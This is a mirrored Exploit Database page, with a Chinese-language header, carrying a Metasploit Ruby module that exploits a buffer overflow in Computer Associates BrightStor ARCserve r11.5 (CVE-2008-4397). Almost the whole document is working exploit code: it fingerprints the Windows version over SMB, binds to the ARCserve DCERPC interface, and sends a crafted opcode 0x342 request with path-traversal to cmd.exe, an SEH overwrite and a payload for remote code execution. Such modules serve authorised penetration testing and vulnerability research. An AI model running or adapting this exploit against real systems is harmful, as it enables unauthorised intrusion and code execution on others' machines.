Computer Associates ARCserve – REPORTREMOTEEXECUTECML Buffer Overflow (Metasploit)

• Exploit Database
• 54 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16404/

• ##
  # $Id: ca_arcserve_342.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::SMB
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884).
  				By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer
  				and execute arbitrary code. In order to successfully exploit this vulnerability, you will need
  				set the hostname argument (HNAME).
  			},
  			'Author' => [ 'Nahuel Cayento Riva', 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'BID', '31684' ],
  					[ 'OSVDB', '49468' ],
  					[ 'CVE', '2008-4397' ],
  					[ 'URL', 'http://crackinglandia.blogspot.com/2009/10/el-colador-de-ca-computer-associates.html' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 550,
  					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Computer Associates BrighStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
  				],
  			'DisclosureDate' => 'Oct 9 2008',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('HNAME', [ true,'The NetBios hostname of the target.']),
  				Opt::RPORT(6504)
  			], self.class)
  	end
  
  	def fingerprint
  
  		datastore['RPORT'] = 445
  		os = smb_fingerprint()
  		return os
  
  	end
  
  	def exploit
  
  		path = fingerprint()
  
  		if ( path['os'] =~ /Windows 2000/ )
  			dir = "winnt"
  			offset = 442
  		elsif (path['os'] =~ /Windows XP/ )
  			dir = "windows"
  			offset = 436
  		else
  			print_error("Target not supported!")
  			return
  		end
  
  		print_status("Identified OS '#{path['os']}', setting appropiate system path...")
  
  		datastore['RPORT'] = 6504
  
  		connect()
  
  		handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  		print_status("Binding to #{handle} ...")
  
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		buffer = rand_text_alpha_upper(offset) + generate_seh_payload(target.ret)
  
  		sploit =NDR.string("#{datastore['HNAME'].upcase}")
  		sploit << NDR.string("..\\..\\..\\..\\..\\..\\..\\..\\..\\#{dir}\\system32\\cmd /c \"""\"""")
  		sploit << NDR.string(buffer)
  		sploit << NDR.string(rand_text_alpha_upper(20))
  		sploit << NDR.long(2)
  		sploit << NDR.long(2)
  		sploit << NDR.string(rand_text_alpha_upper(20))
  		sploit << NDR.long(0)
  		sploit << NDR.long(4)
  
  		print_status("Trying target #{target.name}...")
  
  			begin
  				dcerpc_call(342, sploit)
  				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  			end
  
  		handler
  		disconnect
  	end
  end